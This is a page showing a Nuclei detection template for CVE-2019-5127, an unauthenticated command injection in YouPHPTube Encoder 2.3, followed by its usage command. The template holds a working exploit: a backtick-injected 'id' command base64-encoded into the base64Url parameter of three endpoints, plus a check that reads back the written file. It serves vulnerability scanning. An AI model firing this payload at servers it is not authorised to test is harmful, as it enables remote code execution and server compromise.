YouPHPTube Encoder 2.3 - Remote Command Injection

ID: CVE-2019-5127

Severity: critical

Author: pikpikcu

Tags: cve,cve2019,rce,youphptube

Description

YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.

YAML Source

id: CVE-2019-5127

info:
  name: YouPHPTube Encoder 2.3 - Remote Command Injection
  author: pikpikcu
  severity: critical
  description: YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the entire system.
  remediation: |
    Apply the latest patch or upgrade to a version that is not affected by this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2019-0917
    - https://nvd.nist.gov/vuln/detail/CVE-2019-5127
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-5127
    cwe-id: CWE-78
    epss-score: 0.97409
    epss-percentile: 0.99928
    cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: youphptube
    product: youphptube_encoder
  tags: cve,cve2019,rce,youphptube
variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  encode: "`id > {{filename}}.txt`"

http:
  - method: GET
    path:
      - "{{BaseURL}}/objects/getImage.php?base64Url={{base64(encode)}}=&format=png"
      - "{{BaseURL}}/objects/getImageMP4.php?base64Url={{base64(encode)}}=&format=jpg"
      - "{{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url={{base64(encode)}}=&format=jpg"

    headers:
      Content-Type: application/x-www-form-urlencoded

  - method: GET
    path:
      - "{{BaseURL}}/objects/{{filename}}.txt"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
        condition: and

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009ff3e37c4e6a994ea8eeb8af537e10d675945aa1493489f0309f9e9de8a80563022100d4b60727901ff041a91127a86760080cfbbf39c0573131d5da50d7b16f76d125:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-5127.yaml"

View on Github